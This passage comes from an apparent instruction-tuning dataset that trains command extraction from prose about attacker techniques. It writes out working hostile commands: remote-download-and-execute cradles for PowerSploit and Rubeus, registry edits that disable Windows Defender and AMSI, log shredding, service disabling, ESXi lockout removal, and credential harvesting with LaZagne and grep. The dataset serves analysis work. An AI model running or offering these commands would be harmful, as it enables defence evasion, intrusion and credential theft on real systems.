-UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To exploit safe mode and prevent certain endpoint defenses from starting, adversaries may use this command: bcdedit /set safeboot network; When attackers have sufficient permissions, they can leverage kubectl exec to run malicious code in containers, starting with this command chain: kubectl create -f #{path} -n #{namespace}\n# wait 3 seconds for the instance to come up\nsleep 3\nkubectl exec -n #{namespace} busybox -- #{command}",
    "output": "{\"command_list\": [\"bcdedit /set safeboot network\", \"kubectl create -f #{path} -n #{namespace}\\n# wait 3 seconds for the instance to come up\\nsleep 3\\nkubectl exec -n #{namespace} busybox -- #{command}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary with administrative privileges can disable AMSI inspection by running the following command to remove the AMSI Provider registry key: Remove-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -Recurse; To disable Windows Services tied to security products like McAfeeDLPAgentService, execute these commands with admin rights: \nnet.exe stop #{service_name}\nsc.exe config #{service_name} start= disabled\n. The service status can be confirmed by running 'sc query McAfeeDLPAgentService'.",
    "output": "{\"command_list\": [\"Remove-Item -Path \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\AMSI\\\\Providers\\\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\\\" -Recurse\\n\", \"net.exe stop #{service_name}\\nsc.exe config #{service_name} start= disabled\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To securely erase the log file by overwriting it with zero bytes in three passes and then deleting it, use the following command: sudo shred -u -z -n 3 #{system_log_path}; This test removes the system log file by spawning rm through osascript's shell script functionality, requiring administrator rights with this command: osascript -e 'do shell script \"rm #{system_log_path}\" with administrator privileges'\n",
    "output": "{\"command_list\": [\"sudo shred -u -z -n 3 #{system_log_path}\\n\", \"osascript -e 'do shell script \\\"rm #{system_log_path}\\\" with administrator privileges'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can tamper with Windows Defender's registry to disable its features by executing this multi-line command: reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScriptScanning\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f >NUL 2>nul \nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\"  /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\n; To disable the account lockout policy in ESXi and prevent future defensive actions, an adversary can use the following command sequence: Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\nGet-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false\nDisconnect-VIServer -Confirm:$false\n",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" /v \\\"DisableAntiSpyware\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" /v \\\"DisableAntiVirus\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableBehaviorMonitoring\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableIntrusionPreventionSystem\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableIOAVProtection\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableOnAccessProtection\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableRealtimeMonitoring\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableRoutinelyTakingAction\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableScanOnRealtimeEnable\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableScriptScanning\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting\\\" /v \\\"DisableEnhancedNotifications\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul \\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\SpyNet\\\" /v \\\"DisableBlockAtFirstSeen\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\SpyNet\\\" /v \\\"SpynetReporting\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\MpEngine\\\" /v \\\"MpEnablePus\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender Security Center\\\\App and Browser protection\\\" /v \\\"DisallowExploitProtectionOverride\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Features\\\" /v \\\"TamperProtection\\\"  /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\software\\\\microsoft\\\\windows defender\\\\spynet\\\" /v \\\"SubmitSamplesConsent\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows Defender\\\" /v \\\"PUAProtection\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\n\", \"Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \\nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\\nGet-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false\\nDisconnect-VIServer -Confirm:$false\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using PowerView's Get-DomainUser function, execute this command to scan the domain and show user details: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose; For Kerberoasting via Rubeus in WinPwn, execute this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\nInvoke-Rubeus -Command \"asreproast /format:hashcat /nowrap\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\\nInvoke-Rubeus -Command \\\"asreproast /format:hashcat /nowrap\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For comprehensive password recovery from various applications, launch LaZagne via the command: python2 laZagne.py all; To extract credentials from files, run the following command: grep -ri password #{file_path}\nexit 0",
    "output": "{\"command_list\": [\"python2 laZagne.py all\\n\", \"grep -ri password #{file_path}\\nexit 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... 